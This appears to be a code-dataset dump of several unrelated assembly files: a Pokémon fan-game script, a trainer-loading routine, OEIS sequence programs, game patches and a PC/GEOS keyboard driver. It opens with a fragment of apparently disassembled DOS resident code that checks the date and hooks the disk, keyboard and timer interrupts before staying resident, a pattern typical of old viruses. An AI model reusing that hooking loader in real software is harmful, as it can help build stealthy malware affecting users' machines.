42h, 0, 0A3h, 0FCh, 3 db 2Eh, 0A0h, 44h, 0, 0A2h, 0FEh db 3, 8Bh, 0DCh, 0B1h, 4, 0D3h db 0EBh, 83h, 0C3h, 20h, 0B4h, 4Ah db 2Eh, 8Eh, 6, 40h, 0, 0CDh db 21h, 0B8h, 21h, 35h, 0CDh, 21h db 2Eh, 89h, 1Eh, 38h, 0, 2Eh db 8Ch, 6, 3Ah, 0, 0Eh, 1Fh db 0BAh, 11h, 5, 0B8h, 21h, 25h db 0CDh, 21h, 8Eh, 6, 40h, 0 db 26h, 8Eh, 6, 2Ch, 0, 33h db 0FFh, 0B9h, 0FFh, 7Fh, 32h, 0C0h locloop_66: repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al cmp es:[di],al loopnz locloop_66 ; Loop if zf=0, cx>0 mov dx,di add dx,3 mov ax,4B00h push es pop ds push cs pop es mov bx,8Ah push ds push es push ax push bx push cx push dx push cs pop ds mov ah,2Ah ; '*' int 21h ; DOS Services ah=function 2Ah ; get date, cx=year, dx=mon/day sub cx,7BCh mov ax,cx mov bx,dx mov cx,168h mul cx ; dx:ax = reg * ax xchg ax,bx add bl,al adc bh,0 mov al,ah mov cl,1Eh mul cl ; ax = reg * al add ax,bx sub ax,ds:data_37e ; (6C23:0030=0) ja loc_67 ; Jump if above jmp loc_70 ; (0BD0) loc_67: add ds:data_37e,ax ; (6C23:0030=0) cmp ax,7 ja loc_68 ; Jump if above jmp short loc_70 ; (0BD0) db 90h loc_68: mov ax,3508h int 21h ; DOS Services ah=function 35h ; get intrpt vector al in es:bx mov ds:data_39e,bx ; (6C23:0034=0) mov word ptr ds:data_39e+2,es ; (6C23:0036=0) push cs pop ds mov ah,2Ch ; ',' int 21h ; DOS Services ah=function 2Ch ; get time, cx=hrs/min, dh=sec mov cl,dh and cl,1 cmp cl,0 mov dx,2AEh mov byte ptr ds:data_51e,0 ; (6C23:0069=0) jnz loc_69 ; Jump if not zero mov dx,2D2h mov byte ptr ds:data_51e,1 ; (6C23:0069=0) loc_69: mov word ptr ds:data_23e,1 ; (6C23:0003=0) mov data_54,0 ; (6C23:0122=0) mov data_53,1 ; (6C23:0121=2) mov byte ptr ds:data_50e,0 ; (6C23:0068=0) mov byte ptr ds:data_52e,0 ; (6C23:006A=0) mov ax,2508h int 21h ; DOS Services ah=function 25h ; set intrpt vector al to ds:dx mov ax,3509h int 21h ; DOS Services ah=function 35h ; get intrpt vector al in es:bx mov ds:data_25e,bx ; (6C23:0006=0) mov word ptr ds:data_25e+2,es ; (6C23:0008=0) mov dx,35Dh mov ax,2509h int 21h ; DOS Services ah=function 25h ; set intrpt vector al to ds:dx mov ax,3513h int 21h ; DOS Services ah=function 35h ; get intrpt vector al in es:bx mov ds:data_27e,bx ; (6C23:000A=0) mov word ptr ds:data_27e+2,es ; (6C23:000C=0) mov dx,4EFh mov ax,2513h int 21h ; DOS Services ah=function 25h ; set intrpt vector al to ds:dx loc_70: pop dx pop cx pop bx pop ax pop es pop ds pushf ; Push flags call dword ptr cs:data_41e ; (6C23:0038=0) push ds pop es mov ah,49h ; 'I' int 21h ; DOS Services ah=function 49h ; release memory block, es=seg mov ah,4Dh ; 'M' int 21h ; DOS Services ah=function 4Dh ; get return code info in ax mov ah,31h ; '1' mov dx,0BC4h mov cl,4 shr dx,cl ; Shift w/zeros fill add dx,10h int 21h ; DOS Services ah=function 31h ; terminate & stay resident db 154 dup (0) db 6Ch, 15h, 2, 2Ah, 8Ah, 0 db 0BCh, 7, 1, 1, 0C4h, 0Bh db 6Ch, 15h, 73h, 12h, 0F4h, 2 db 4, 7Fh, 0CCh, 0, 0C4h, 0Bh db 1Dh, 0, 0, 0, 6Fh, 12h db 0AFh, 0Eh, 0F4h, 0Ah, 73h, 12h db 6, 0F2h, 82h, 0F0h, 0EBh, 6Fh db 66h, 2, 0EBh, 6Fh, 57h, 9 db 0, 70h, 5Ah, 0, 0, 0C0h db 7Ch, 90h db 20 dup (90h) db 0CDh, 21h seg_a ends end start 
25.471778
85
0.579725
bc3791d3c3fa520d191af13786d22660fc29b211
1,330
asm
Assembly
savefile/engine/first_run.asm
stranck/fools2018-1
1c506b17343fcdfa708aafaf8e596153e2c63254
[ "MIT" ]
35
2018-04-01T06:55:28.000Z
2021-05-09T19:09:42.000Z
savefile/engine/first_run.asm
stranck/fools2018-1
1c506b17343fcdfa708aafaf8e596153e2c63254
[ "MIT" ]
4
2018-04-01T15:32:55.000Z
2019-02-23T20:46:49.000Z
savefile/engine/first_run.asm
stranck/fools2018-1
1c506b17343fcdfa708aafaf8e596153e2c63254
[ "MIT" ]
12
2018-04-01T15:48:09.000Z
2021-01-27T10:22:33.000Z
; === first_run.asm ; First run of the game. FirstRun: ld hl, WelcomeText call PrintTextEnhanced ld hl, $d320 call PlayMusicFromRAM ld hl, ConnectText call PrintTextEnhanced call ConnectionTest ld hl, FlavorText call PrintTextEnhanced ld a, 1 ld [FirstRunFlag], a jp SetUpAndLoadFirstMap WelcomeText: text "Oh, hello!" next "You seem to be new here." para "I rarely see any new people" next "here. I'm really surprised." para "Your brand new adventure is" next "going to start real soon." para "In the meantime, let's deal" next "with the technical stuff!" wait ConnectText: text "To play, you'll need to" next "connect to a game server." para "This is done by utilizing the" next "link cable feature in your" cont "GameBoy emulator." para "Refer to the event's website" next "for a list of supported" cont "emulators and setup" cont "instructions." wait FlavorText: text "So, everything's done!" para "You are now ready to explore" next "Glitchland." para "Many secrets wait to be" next "discovered in this strange" cont "world." para "Your progress will be" next "saved automatically if" cont "deemed necessary." para "See you on the other side!" wait
25.09434
40
0.657895
a9e09a304335ea4dca0905a6437754bf96d02eb1
3,702
asm
Assembly
engine/battle/read_trainer_party.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
1
2022-02-15T00:19:44.000Z
2022-02-15T00:19:44.000Z
engine/battle/read_trainer_party.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
null
null
null
engine/battle/read_trainer_party.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
null
null
null
ReadTrainer: ; don't change any moves in a link battle ld a, [wLinkState] and a ret nz ; set [wEnemyPartyCount] to 0, [wEnemyPartySpecies] to FF ; XXX first is total enemy pokemon? ; XXX second is species of first pokemon? ld hl, wEnemyPartyCount xor a ld [hli], a dec a ld [hl], a ; get the pointer to trainer data for this class ld a, [wCurOpponent] sub OPP_ID_OFFSET + 1 ; convert value from pokemon to trainer add a ld hl, TrainerDataPointers ld c, a ld b, 0 add hl, bc ; hl points to trainer class ld a, [hli] ld h, [hl] ld l, a ld a, [wTrainerNo] ld b, a ; At this point b contains the trainer number, ; and hl points to the trainer class. ; Our next task is to iterate through the trainers, ; decrementing b each time, until we get to the right one. .outer dec b jr z, .IterateTrainer .inner ld a, [hli] and a jr nz, .inner jr .outer ; if the first byte of trainer data is FF, ; - each pokemon has a specific level ; (as opposed to the whole team being of the same level) ; - if [wLoneAttackNo] != 0, one pokemon on the team has a special move ; else the first byte is the level of every pokemon on the team .IterateTrainer ld a, [hli] cp $FF ; is the trainer special? jr z, .SpecialTrainer ; if so, check for special moves ld [wCurEnemyLVL], a .LoopTrainerData ld a, [hli] and a ; have we reached the end of the trainer data? jr z, .FinishUp ld [wcf91], a ; write species somewhere (XXX why?) ld a, ENEMY_PARTY_DATA ld [wMonDataLocation], a push hl call AddPartyMon pop hl jr .LoopTrainerData .SpecialTrainer ; if this code is being run: ; - each pokemon has a specific level ; (as opposed to the whole team being of the same level) ; - if [wLoneAttackNo] != 0, one pokemon on the team has a special move ld a, [hli] and a ; have we reached the end of the trainer data? jr z, .AddLoneMove ld [wCurEnemyLVL], a ld a, [hli] ld [wcf91], a ld a, ENEMY_PARTY_DATA ld [wMonDataLocation], a push hl call AddPartyMon pop hl jr .SpecialTrainer .AddLoneMove ; does the trainer have a single monster with a different move? ld a, [wLoneAttackNo] ; Brock is 01, Misty is 02, Erika is 04, etc and a jr z, .AddTeamMove dec a add a ld c, a ld b, 0 ld hl, LoneMoves add hl, bc ld a, [hli] ld d, [hl] ld hl, wEnemyMon1Moves + 2 ld bc, wEnemyMon2 - wEnemyMon1 call AddNTimes ld [hl], d jr .FinishUp .AddTeamMove ; check if our trainer's team has special moves ; get trainer class number ld a, [wCurOpponent] sub OPP_ID_OFFSET ld b, a ld hl, TeamMoves ; iterate through entries in TeamMoves, checking each for our trainer class .IterateTeamMoves ld a, [hli] cp b jr z, .GiveTeamMoves ; is there a match? inc hl ; if not, go to the next entry inc a jr nz, .IterateTeamMoves ; no matches found. is this trainer champion rival? ld a, b cp RIVAL3 jr z, .ChampionRival jr .FinishUp ; nope .GiveTeamMoves ld a, [hl] ld [wEnemyMon5Moves + 2], a jr .FinishUp .ChampionRival ; give moves to his team ; pidgeot ld a, SKY_ATTACK ld [wEnemyMon1Moves + 2], a ; starter ld a, [wRivalStarter] cp STARTER3 ld b, MEGA_DRAIN jr z, .GiveStarterMove cp STARTER1 ld b, FIRE_BLAST jr z, .GiveStarterMove ld b, BLIZZARD ; must be squirtle .GiveStarterMove ld a, b ld [wEnemyMon6Moves + 2], a .FinishUp ; clear wAmountMoneyWon addresses xor a ld de, wAmountMoneyWon ld [de], a inc de ld [de], a inc de ld [de], a ld a, [wCurEnemyLVL] ld b, a .LastLoop ; update wAmountMoneyWon addresses (money to win) based on enemy's level ld hl, wTrainerBaseMoney + 1 ld c, 2 ; wAmountMoneyWon is a 3-byte number push bc predef AddBCDPredef pop bc inc de inc de dec b jr nz, .LastLoop ; repeat wCurEnemyLVL times ret
22.167665
75
0.706915
60cb88576b9a0cea03c851b5e73b26899f3e7d7c
520
asm
Assembly
programs/oeis/290/A290268.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/290/A290268.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/290/A290268.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A290268: Number of terms in the fully expanded n-th derivative of x^(x^2). ; 1,2,5,8,13,18,25,31,41,49,61,71,85,97,113,126,145,160,181,198,221,240,265,285,313,335,365,389,421,447,481,508,545,574,613,644,685,718,761,795,841,877,925,963,1013,1053,1105,1146,1201,1244,1301,1346,1405,1452 mov $3,$0 add $3,1 mov $5,$0 lpb $3 mov $0,$5 sub $3,1 sub $0,$3 mov $2,$0 seq $0,131738 ; a(0) = 0. a(n) = (n+1)*(-1)^n, n>0 . div $0,8 div $2,2 mul $2,2 mov $4,$0 add $4,$2 add $4,1 add $1,$4 lpe mov $0,$1
23.636364
209
0.601923
3deeb9c0ab8ab238264fbccb7626da5a3d46dfc3
481
asm
Assembly
programs/oeis/340/A340071.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/340/A340071.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/340/A340071.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A340071: a(n) = gcd(A003961(n)-1, phi(A003961(n))), where A003961 shifts the prime factorization of n one step towards larger primes. ; 1,2,4,2,6,2,10,2,4,4,12,4,16,4,2,2,18,2,22,2,2,2,28,2,6,2,4,2,30,8,36,2,16,4,4,8,40,4,4,4,42,4,46,4,6,2,52,4,10,2,2,8,58,2,18,4,2,4,60,2,66,2,2,2,2,2,70,2,16,10,72,2,78,2,4,2,2,2,82,2,4,4,88,2,12,4,2,2,96,4,2,4,8,2,4,2,100,2,12,4 seq $0,253885 ; Permutation of even numbers: a(n) = A003961(n+1) - 1. seq $0,49559 ; a(n) = gcd(n - 1, phi(n)).
80.166667
231
0.615385
8007e0984811ec5e1166103260e2312ae104db35
898
asm
Assembly
src/fix_wce_errors.asm
mvdhout1992/ts-patches
a426970abeb6993eea6703d1a756fd74489ffed2
[ "MIT" ]
33
2016-07-30T14:17:28.000Z
2021-12-19T15:45:19.000Z
src/fix_wce_errors.asm
A-Productions/ts-patches
326db731f7226d9e803feab475777c730688634e
[ "MIT" ]
73
2018-08-17T00:25:19.000Z
2021-05-10T08:31:15.000Z
src/fix_wce_errors.asm
A-Productions/ts-patches
326db731f7226d9e803feab475777c730688634e
[ "MIT" ]
18
2017-05-16T11:28:06.000Z
2022-03-20T20:41:03.000Z
@JMP 0x00589D31 _Read_SUN_INI_InvisibleSouthDisruptorWave @JMP 0x00671113 _WaveClass_Draw_South_Disruptor_Wave _WaveClass_Draw_South_Disruptor_Wave: push ebp push edx push eax mov ecx, esi cmp byte [InvisibleSouthDisruptorWave], 1 jz .Dont_Draw_Southward jmp 0x00671118 .Dont_Draw_Southward: call 0x006704A0 jmp 0x0067111D _Read_SUN_INI_InvisibleSouthDisruptorWave: push eax INIClass_Get_Bool INIClass_SUN_INI, str_Options, str_InvisibleSouthDisruptorWave, 0 mov [InvisibleSouthDisruptorWave], al pop eax jmp 0x00589D3E ; Fixes for WaveClass errors related to laser and Ion Cannon ripple effect @JMP 0x006715F0 _sub_6715F0_RETN_Patch @JMP 0x004EEB26 _sub_4EEAC0_WCE_Fix_Patch _sub_4EEAC0_WCE_Fix_Patch: jmp 0x004EEB43 ; jump to epilogue _sub_6715F0_RETN_Patch: jmp 0x0067191F ; jump to RETN instruction
24.27027
87
0.780624
dc400924faf34d6a5d1fbde2fdc3562749a23099
47,835
asm
Assembly
Library/GDI/GenPC/genpcKbd.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
504
2018-11-18T03:35:53.000Z
2022-03-29T01:02:51.000Z
Library/GDI/GenPC/genpcKbd.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
96
2018-11-19T21:06:50.000Z
2022-03-06T10:26:48.000Z
Library/GDI/GenPC/genpcKbd.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
73
2018-11-19T20:46:53.000Z
2022-03-29T00:59:26.000Z
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) Geoworks 1996 -- All Rights Reserved PROJECT: MODULE: FILE: genpcKbd.asm AUTHOR: Todd Stumpf, Apr 26, 1996 ROUTINES: Name Description ---- ----------- REVISION HISTORY: Name Date Description ---- ---- ----------- TS 4/26/96 Initial revision DESCRIPTION: Keyboard handler for Generic PC GDI driver. $Id: genpcKbd.asm,v 1.1 97/04/04 18:04:00 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ InitCode segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% HWKeyboardInit %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Initialize the keyboard hardware CALLED BY: GDIInitInterface PASS: ds -> dgroup RETURN: ax <- ErrorCode carry set on error DESTROYED: bx, cx, dx, es allowed SIDE EFFECTS: Latches new interrupt vector Enables keyboard interrupt PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- TS 4/30/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if NT_DRIVER DllName DB "GEOSVDD.DLL",0 InitFunc DB "VDDRegisterInit",0 DispFunc DB "VDDDispatch",0 endif HWKeyboardInit proc near uses si .enter ; ; Update ES with segment MOV_SEG es, ds if not NT_DRIVER ; ; See if the controller is XT- or AT-style. ; call KbdCheckControllerType ; ax, bx, cx, ; dx, si ; destroyed endif ; ! NT_DRIVER ; ; Set the isSwapCtrl variable, we need to know this info. ; call KbdSetSwapCtrl ; ; Set up to catch the keyboard interrupt. ; INT_OFF ;disable ints while setting mov ax, SDI_KEYBOARD ; ax -> IRQ level mov bx, segment KbdInterrupt ; bx:cx -> new vector mov cx, offset KbdInterrupt mov di, offset oldKbdVector ; es:di -> old vector call SysCatchDeviceInterrupt ; ax, bx, di destroyed if not NT_DRIVER ; ; Flush BIOS keyboard buffer by setting the head ; pointer to equal tail pointer.. ; push ds, ax mov ax, BIOS_SEG mov ds, ax mov ax, ds:[BIOS_KEYBOARD_BUFFER_TAIL_POINTER] mov ds:[BIOS_KEYBOARD_BUFFER_HEAD_POINTER], ax pop ds, ax ; ; Enable keyboard interrupt in controller. ; in al, IC1_MASKPORT and al, not (1 shl SDI_KEYBOARD) out IC1_MASKPORT, al else ; NT_DRIVER ;; ;; Register with VDD ;; ; if we have already registered, don't do it again, buddy. cmp ds:[vddHandle], 0 jne done mov ax, cs mov ds, ax mov es, ax ; ; Register the dll ; ; Load ioctlvdd.dll mov si, offset DllName ; ds:si = dll name mov di, offset InitFunc ; es:di = init routine mov bx, offset DispFunc ; ds:bx = dispatch routine RegisterModule nop mov bx, dgroup mov ds, bx mov ds:[vddHandle], ax endif INT_ON ;turn interrupts back on ; done: mov ax, EC_NO_ERROR clc .leave ret HWKeyboardInit endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% KbdSetSwapCtrl %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Read the .ini file and get the swapCtrl setting. CALLED BY: INTERNAL: HWKeyboardInit PASS: ds -> dgroup RETURN: nothing DESTROYED: cx, dx, si, ax PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- kliu 7/15/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ KbdSetSwapCtrl proc near .enter push ds segmov ds, cs, cx mov si, offset GDIKeyboardCategoryStr mov dx, offset keyboardSwapCtrl call InitFileReadBoolean pop ds jc done ; => no entry mov ds:[isSwapCtrl], al ; set isSwapCtrl done: .leave ret KbdSetSwapCtrl endp if not NT_DRIVER COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% KbdResetCommandByte %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: CALLED BY: INTERNAL: KbdExitFar PASS: ds -> dgroup RETURN: nothing DESTROYED: ax, cx SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- TS 5/ 6/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ KbdResetCommandByteFar proc far call KbdResetCommandByte ret KbdResetCommandByteFar endp KbdResetCommandByte proc near .enter test ds:[kbdHotkeyFlags], mask KHF_HOTKEY_PENDING jnz reset ; ; First check to see if the command byte has changed. If not, ; we're done. The reason we do this is that the controllers ; on some machines don't respond quickly enough. Rather than ; put in delay loops (which I first tried, and couldn't find ; delays long enough that worked), this approach was used. ; Without this, the keyboard will behave fine in PC/GEOS, but ; locks up when exiting (and hence when back in DOS) -- eca 5/20/92 ; call KbdGetCCB cmp al, ds:[kbdCmdByte] ;command byte changed? je done reset: ; ; The command byte is actually different, so set it back. ; mov ah, KBD_CMD_SET_CCB ; Set controller command byte call KbdWriteCmd mov ah, ds:[kbdCmdByte] ; back the way ; it was test ds:[kbdHotkeyFlags], mask KHF_HOTKEY_PENDING jz writeCmdByte ornf ah, mask KCB_DISABLE_KEYBOARD ; keep it disabled writeCmdByte: call KbdWriteData done: .leave ret KbdResetCommandByte endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% KbdCheckControllerType %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Check to see if this keyboard communicates as an XT or AT. CALLED BY: HWKeyboardInit PASS: ds -> seg addr of dgroup RETURN: nothing DESTROYED: ax, bx, cx, dx, si PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- gene 4/12/91 Initial version todd 5/1/96 Stolen for GDI library %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ KbdCheckControllerType proc near .enter ; ; See if the INI file tells us anything mov dx, offset keyboardForceAT ; dx -> key offset mov bl, mask KO_FORCE_AT ; bl -> option to set call KbdCheckOption ; carry clear if set ; si destroyed jnc isAT ; => Must be AT mov dx, offset keyboardForceXT ; dx -> key offset mov bl, mask KO_FORCE_XT ; bl -> option to set call KbdCheckOption ; carry clear if set ; si destroyed jnc isXT ; => Must be XT INT_OFF ; ; Try to determine whether we are on PC or AT to handle different ; keyboards. On the AT the KBD_PC_CTRL_PORT location can not ; have its high bit changed. So we try and change it. If it ; changes, voila, it's not an AT. ; in al, KBD_PC_CTRL_PORT ;al <- get special info mov ah,al ;ah <- save info or al, KBD_ACKNOWLEDGE ;set high bit out KBD_PC_CTRL_PORT, al ; in al,KBD_PC_CTRL_PORT ;al <- new special info xchg al,ah ;ah <- changed? results out KBD_PC_CTRL_PORT, al ;return kbd to orig state test ah, KBD_ACKNOWLEDGE ;high bit changed? jz isAT ; => not set isXT: ; ; The controller is XT-style, so we must send ACKs. ; mov ds:[isXTKeyboard], -1 done: INT_ON .leave ret isAT: ; ; The controller is AT-style. Tell it to emulate ; an XT-style controller since that's what we ; speak to. INT_OFF clr ds:[isXTKeyboard] ; ; NOTE: This causes anything already buffered to be overwritten ; ; For some reason, some keyboard controllers (eg. Gateway) ; have the "disable keyboard" bit set when we read the command ; byte. This is bad thing, so we ignore this bit. Whether this ; is due to timing (too little time between writing to the command ; port and reading from the data port), cosmic rays, or what, I'm ; not sure, but this seems a reasonable precaution -- eca 5/20/92 ; call KbdGetCCB ; al <- command byte ; ah, cx destroyed andnf al, not (mask KCB_DISABLE_KEYBOARD) mov ds:[kbdCmdByte], al ;save the command value push ax mov ah, KBD_CMD_SET_CCB ;Request setting of controller call KbdWriteCmd ; ax, cx destroyed pop ax ; ; Set our version of the command byte. If the controller is set ; to support an XT keyboard or to interrupt on its auxiliary port, we ; maintain those settings. We always tell it to xlate from AT to XT ; scan codes (in theory, this should not conflict with KCB_XT_KEYBOARD) ; and to interrupt when data are available. ; mov ah, mask KCB_XLATE_SCAN_CODES or \ mask KCB_INTERRUPT_ENABLE andnf al, mask KCB_XT_KEYBOARD or mask KCB_AUX_IEN or \ mask KCB_SYSTEM_FLAG or ah, al call KbdWriteData ; ax, cx destroyed jmp done KbdCheckControllerType endp endif ; !NT_DRIVER COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% KbdCheckOption %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Check a keyboard driver geos.ini file option CALLED BY: KbdInit(), KbdSetOptions() PASS: cs:dx -> ptr to key ASCIIZ string ds -> seg addr of idata bl -> KeyboardOptions to set RETURN: carry clear if keyboard option set DESTROYED: si PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- eca 1/ 8/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ keyboardCategoryStr char "keyboard", 0 keyboardForceXT char "forceXT", 0 keyboardForceAT char "forceAT", 0 GDIKeyboardCategoryStr char "GDI keyboard", 0 keyboardSwapCtrl char "swapCtrl", 0 KbdCheckOption proc near uses ds .enter ; ; Check the appropriate category ; MOV_SEG ds, cs mov cx, cs mov si, offset keyboardCategoryStr call InitFileReadBoolean jc done ; => No entry tst_clc al jnz done ; => True stc ; false done: .leave ret KbdCheckOption endp if not NT_DRIVER COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% KbdGetCCB %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Read the Controller Command Byte from the 8042. CALLED BY: (INTERNAL) KbdResetCommandByte, CheckControllerType PASS: nothing RETURN: al <- command byte DESTROYED: ah, cx SIDE EFFECTS: any received ACK or RESEND from the keyboard is *dropped* PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 2/23/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ KbdGetCCB proc near .enter ; ; Disable keyboard interrupts for the duration, so the command byte ; is not interpreted as a keystroke (the command byte we use happens ; to also be the scan code for the NumLock key; reading the byte as ; a keystroke results in the set-LED sequence being sent, the ACKs for ; which overwrite the command byte and we, and the keyboard, get mighty ; confused). ; in al, IC1_MASKPORT push ax ornf al, (1 shl SDI_KEYBOARD) ;keyboard interrupts at level 1 out IC1_MASKPORT, al tryAgain: mov ah, KBD_CMD_GET_CCB ;ah <- info requested call KbdWriteCmd ; ax, cx destroyed call KbdReadData ; al <- data ; ah, cx destroyed cmp al, KBD_RESP_ACK je tryAgain ; don't treat ACK coming back ; from the keyboard (WHY IS cmp al, KBD_RESP_RESEND ; IT COMING BACK? WE DIDN'T je tryAgain ; TALK TO THE SILLY THING) ; as a command byte. ; ; Reset the SDI_KEYBOARD bit to what it was before ; pop cx xchg ax, cx out IC1_MASKPORT, al mov_tr ax, cx .leave ret KbdGetCCB endp endif ;!NT_DRIVER COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% KbdClearShiftState %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: CALLED BY: INTERNAL: HWKeyboardShutdown PASS: nothing RETURN: nothing DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- TS 5/ 6/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ KbdClearShiftStateFar proc far call KbdClearShiftState ret KbdClearShiftStateFar endp KbdClearShiftState proc near .enter .leave ret KbdClearShiftState endp if not NT_DRIVER COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% KbdWriteCmd, KbdWriteData %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Sends a byte to the keyboard controller command or data port, making sure the buffer is empty first. Since the controller provides no interrupt for its input buffer being empty, we have to busy wait (generally a very small amount of time, if any, fortunately). CALLED BY: INTERNAL PASS: ah -> CMD/data to send RETURN: none DESTROYED: ax, cx KNOWN BUGS/SIDE EFFECTS/IDEAS: %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ KbdWriteCmd proc near call WaitABit ;cx <- timeout count = 0 KSC10: in al, KBD_STATUS_PORT ;wait for buffer empty test al, mask KSB_INPUT_BUFFER_FULL ;test for input buffer full loopnz KSC10 ;if full, loop & wait mov al,ah ;al <- command byte out KBD_COMMAND_PORT, al ;out to KBD_COMMAND_PORT ret KbdWriteCmd endp KbdWriteData proc near call WaitABit ;cx <- timeout count = 0 KSD10: in al, KBD_STATUS_PORT ;wait for buffer empty test al, mask KSB_INPUT_BUFFER_FULL ;test for input buffer full loopnz KSD10 ;if full, loop & wait mov al,ah ;al <- data byte out KBD_DATA_PORT, al ;out to KBD_DATA_PORT ret KbdWriteData endp KbdReadData proc near call WaitABit ;cx <- timeout count = 0 KGD10: in al, KBD_STATUS_PORT ;wait for buffer full test al, mask KSB_OUTPUT_BUFFER_FULL ;test for ouput buffer full loopz KGD10 ;if 